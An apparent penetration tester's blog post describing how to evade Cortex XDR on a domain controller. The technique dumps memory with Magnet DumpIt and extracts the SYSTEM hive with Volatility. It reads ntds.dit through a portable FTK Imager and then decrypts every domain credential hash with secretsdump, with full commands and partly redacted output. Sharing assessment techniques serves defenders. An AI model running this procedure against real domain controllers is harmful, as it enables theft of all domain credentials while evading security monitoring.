

Bypassing EDR NTDS.dit protection using BlueTeam tools.

Medium.com/@0xcc00/bypassing-edr-ntds-dit-protection-using-blueteam-tools-1d161a554f9f

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During an internal penetration test, Cortex EDR was installed in the domain controller. After obtaining Domain Admin privileges on the network, the EDR blocked all known attempts to extract the NTDS hashes. Consequently, I had to think of an alternative methods to retrieve the hashes.

The screenshot shows the Cortex XDR interface with the 'EVENTS' tab selected. A table displays event details with columns for TIME, FILE NAME, MODULE, and MODE. A red arrow points to the 'MODULE' column, which contains the text 'Credential Gathering Protec:'. The 'MODE' column for this entry is 'Prevent'. Below the table, there is a 'DETAILS' section with 'Application Information:' and a 'Connection' status of 'Connected to (Internal Network)'. At the bottom, there are buttons for 'Last Check-in:', 'Check In Now', and 'Generate Support File'.

TIME	FILE NAME	MODULE	MODE
		Credential Gathering Protec:	Prevent
			Prevent
			Prevent
			Prevent
			Prevent
			Prevent
			Prevent

TL;DR :

To Extract the hashes we need:

- **SYSTEM hive**, I dumped the entire server memory using Magnet DumpIt and extracted the hives with Volatility.
- **NTDS.dit**, protected by the OS and monitored by EDR, I used **FTK Imager** to read the **C:** drive in its raw state without triggering the normal system calls.
- Then using **impacket-secretdump** locally to decrypt the file.

The Long version :


Previously i wrote an article about a similar method to dump the Lsass <https://medium.com/@0xcc00/bypass-crowdstrike-falcon-edr-protection-against-process-dump-like-lsass-exe-3c163e1b8a3e>, this article uses the same technique for the initial step and expands on it.

All the tools used are signed and have legitimate uses by the blue team, which give the advantage to the attacker to use them without getting blocked.

To manually extract the hashes, we need two things: the SYSTEM hive and the **ntds.dit** file from the system.

For the SYSTEM hive:

I extracted it by dumping the entire server memory, which took about 30 minutes using Magnet DumpIt (<https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/>).



Next, we can extract the hives from the raw memory dump using Volatility. I'll use a combination of Volatility2 and Volatility3, as some modules perform better in one version than the other.

Start by listing all the hives and their locations using Volatility3 (<https://github.com/volatilityfoundation/volatility3>):

```
vol -f test.raw windows.registry.printkey.PrintKey
```

```

# vol -f test.raw windows.registry.printkey.PrintKey
Volatility 3 Framework 2.7.0
Progress: 100.00
Last Write Time Hive Offset PDB scanning finished
Type Key Name Data Volatile
0xaf0287e36000 Key [NONAME] A False
0xaf0287e36000 Key [NONAME] MACHINE False
0xaf0287e36000 Key [NONAME] USER False
0xaf0287e36000 Key [NONAME] WC False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM ActivationBroker False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM ControlSet001 False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM ControlSet002 False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Cyvera False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM DriverDatabase False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM HardwareConfig False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Keyboard Layout False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Maps False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM MountedDevices False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM ResourceManager False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM ResourcePolicyStore False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM RNG False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Select False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Setup False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM Software False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM WPA False
0xaf0287e41000 Key \REGISTRY\MACHINE\SYSTEM CurrentControlSet True
0xaf0287e60000 Key \REGISTRY\MACHINE\HARDWARE ACPI False
0xaf0287e60000 Key \REGISTRY\MACHINE\HARDWARE DESCRIPTION False
0xaf0287e60000 Key \REGISTRY\MACHINE\HARDWARE DEVICEMAP False
0xaf0287e60000 Key \REGISTRY\MACHINE\HARDWARE RESOURCEMAP True
0xaf028ab17000 Key \Device\HarddiskVolume1\Boot\BCD Description False

```

To dump the hive, we'll use Volatility2:

(<https://github.com/volatilityfoundation/volatility/releases/tag/2.6.1>)

```

/opt/volatility_2.6_lin64_standalone/volatility_2.6_lin64_standalone --
profile=Win10x64_14393 dumpregistry -o 0xaf0287e41000 -D output_vol -f test.raw

```

```

# /opt/volatility_2.6_lin64_standalone/volatility_2.6_lin64_standalone --profile=Win10x64_14393 dumpregistry -o 0xaf0287e41000 -D output_vol -f test.raw
Volatility Foundation Volatility Framework 2.6
*****
Writing out registry: registry.0xaf0287e41000.SYSTEM.reg
*****

```

For the NTDS.dit file:

This file is protected by the operating system, making it difficult to copy directly. That's why attacks like Shadow Copy exist, but the EDR was blocking these attempts and likely monitoring any system calls involving this file. To bypass this, I used **FTK Imager**. Typically used in forensics to create and analyze hard drive dumps, FTK Imager also has a feature that allows reading and analyzing attached drives.

This method allows us to read the `C:\` drive in its raw state and access any file on it without triggering normal system calls. Using this approach, we can not only read `ntds.dit` but also any file on the system that is protected, monitored, or locked by a running process.

FTK Imager is not inherently portable, and while there is a portable version called FTK Imager Lite, it is paid. Therefore, we need to create our own portable version (since no one likes the idea of installing software on the domain controller during an assessment).

Here are the steps to create the portable version:

1. Download and install FTK Imager on your Windows machine: (<https://www.exterro.com/digital-forensics-software/ftk-imager>).
2. Copy the contents of `C:\Program Files\AccessData\FTK Imager` into a new folder.


3. Copy the following DLLs from `C:\Windows\System32` into the new folder:

- mfc100*
- mfc110*
- mfc120*
- mfc140*
- mfc140u.dll
- msvcp140.dll
- vcruntime140.dll

You can now share this folder and access it from the domain controller.

To open the current drive:

1. Go to File -> Add Evidence Item -> Physical Drive -> Select the C drive.
2. Export C:\Windows\NTDS\ntds.dit.



Now we can decrypt the NTDS.dit file using impacket-secretdump.

```
secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ntds.dit
```

```
secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ../ntds.dit
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: ████████████████████████████████████████████████████████████
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: ████████████████████████████████████████████████████
[*] Reading and decrypting hashes from ../ntds.dit
```

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